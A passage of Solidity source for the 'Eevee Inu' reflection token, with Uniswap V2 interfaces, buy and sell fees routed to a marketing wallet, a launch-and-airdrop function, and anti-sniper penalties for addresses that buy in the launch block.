this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract EeveeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress;
address payable public devAddress;
address payable public liquidityAddress;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
bool public limitsInEffect = true;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 1e15 * 1e9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Eevee Inu";
string private constant _symbol = "EVI";
uint8 private constant _decimals = 9;
// these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract.
uint256 private _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _marketingFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
uint256 public _buyTaxFee = 2;
uint256 public _buyLiquidityFee = 1;
uint256 public _buyMarketingFee = 7;
uint256 public _sellTaxFee = 2;
uint256 public _sellLiquidityFee = 1;
uint256 public _sellMarketingFee = 7;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
mapping(address => bool) public boughtEarly; // mapping to track addresses that buy within the first 2 blocks pay a 3x tax for 24 hours to sell
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
uint256 public _liquidityTokensToSwap;
uint256 public _marketingTokensToSwap;
uint256 public maxTransactionAmount;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 500 * 1 gwei; // do not allow over 500 gwei for launch
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
bool public tradingActive = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SetAutomatedMarketMakerPair(address pair, bool value);
event ExcludeFromReward(address excludedAddress);
event IncludeInReward(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event TransferForeignToken(address token, uint256 amount);
event UpdatedMarketingAddress(address marketing);
event UpdatedLiquidityAddress(address liquidity);
event OwnerForcedSwapBack(uint256 timestamp);
event BoughtEarly(address indexed sniper);
event RemovedSniper(address indexed notsnipersupposedly);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_rOwned[_msgSender()] = _rTotal / 1000 * 405;
_rOwned[address(this)] = _rTotal / 1000 * 595;
maxTransactionAmount = _tTotal * 5 / 1000; // 0.5% maxTransactionAmountTxn
minimumTokensBeforeSwap = _tTotal * 5 / 10000; // 0.05% swap tokens amount
marketingAddress = payable(0x633FF868634A6C87dA66cD7372D9633922355e17); // Marketing Address
devAddress = payable(0x633FF868634A6C87dA66cD7372D9633922355e17); // Dev Address
liquidityAddress = payable(owner()); // Liquidity Address (switches to dead address once launch happens)
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingAddress] = true;
_isExcludedFromFee[liquidityAddress] = true;
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
emit Transfer(address(0), _msgSender(), _tTotal * 405 / 1000);
emit Transfer(address(0), address(this), _tTotal * 595 / 1000);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account)
external
view
returns (bool)
{
return _isExcluded[account];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
// remove limits after token is stable - 30-60 minutes
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
// disable Transfer delay
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// once enabled, can never be turned off
function enableTrading() internal onlyOwner {
tradingActive = true;
swapAndLiquifyEnabled = true;
tradingActiveBlock = block.number;
earlyBuyPenaltyEnd = block.timestamp + 72 hours;
}
// send tokens and ETH for liquidity to contract directly, then call this (not required, can still use Uniswap to add liquidity manually, but this ensures everything is excluded properly and makes for a great stealth launch)
function launch(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){
require(!tradingActive, "Trading is already active, cannot relaunch.");
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input.
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i];
_transfer(msg.sender, wallet, amount);
}
enableTrading();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
require(address(this).balance > 0, "Must have ETH on contract to launch");
addLiquidity(balanceOf(address(this)), address(this).balance);
setLiquidityAddress(address(0xdead));
return true;
}
function minimumTokensBeforeSwapAmount() external view returns (uint256) {
return minimumTokensBeforeSwap;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
_isExcludedMaxTransactionAmount[pair] = value;
if(value){excludeFromReward(pair);}
if(!value){includeInReward(pair);}
}
function setGasPriceLimit(uint256 gas) external onlyOwner {
require(gas >= 200);
gasPriceLimit = gas * 1 gwei;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) public onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!tradingActive){
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet.");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!inSwapAndLiquify
){
if(from != owner() && to != uniswapV2Pair && block.number == tradingActiveBlock){
boughtEarly[to] = true;
emit BoughtEarly(to);
}
// only use to prevent sniper buys in the first blocks.
if (gasLimitActive && automatedMarketMakerPairs[from]) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
}
uint256 totalTokensToSwap = _liquidityTokensToSwap.add(_marketingTokensToSwap);
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
// swap and liquify
if (
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
balanceOf(uniswapV2Pair) > 0 &&
totalTokensToSwap > 0 &&
!_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] &&
automatedMarketMakerPairs[to] &&
overMinimumTokenBalance
) {
swapBack();
}
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
} else {
// Buy
if (automatedMarketMakerPairs[from]) {
removeAllFee();
_taxFee = _buyTaxFee;
_liquidityFee = _buyLiquidityFee + _buyMarketingFee;
buyOrSellSwitch = BUY;
}
// Sell
else if (automatedMarketMakerPairs[to]) {
removeAllFee();
_taxFee = _sellTaxFee;
_liquidityFee = _sellLiquidityFee + _sellMarketingFee;
buyOrSellSwitch = SELL;
// higher tax if bought in the same block as trading active for 72 hours (sniper protect)
if(boughtEarly[from] && earlyBuyPenaltyEnd > block.timestamp){
_taxFee = _taxFee * 5;
_liquidityFee = _liquidityFee * 5;
}
// Normal transfers do not get taxed
} else {
require(!boughtEarly[from] || earlyBuyPenaltyEnd <= block.timestamp, "Snipers can't transfer tokens to sell cheaper until penalty timeframe is over. DM a Mod.");
removeAllFee();
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapBack() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap;
// Halve the amount of liquidity tokens
uint256 tokensForLiquidity = _liquidityTokensToSwap.div(2);
uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
uint256 initialETHBalance = address(this).balance;
swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance.sub(ethForMarketing);
uint256 ethForDev= ethForMarketing * 2 / 7; // 2/7 gos to dev
ethForMarketing -= ethForDev;
_liquidityTokensToSwap = 0;
_marketingTokensToSwap = 0;
(bool success,) = address(marketingAddress).call{value: ethForMarketing}("");
(success,) = address(devAddress).call{value: ethForDev}("");
addLiquidity(tokensForLiquidity, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
// send leftover BNB to the marketing wallet so it doesn't get stuck on the contract.
if(address(this).balance > 1e17){
(success,) = address(marketingAddress).call{value: address(this).balance}("");
}
}
// force Swap back if slippage above 49% for launch.
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= _tTotal / 100, "Can only swap back if more than 1% of tokens stuck on contract");
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityAddress,
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
_liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee;
} else if(buyOrSellSwitch == SELL){
_liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
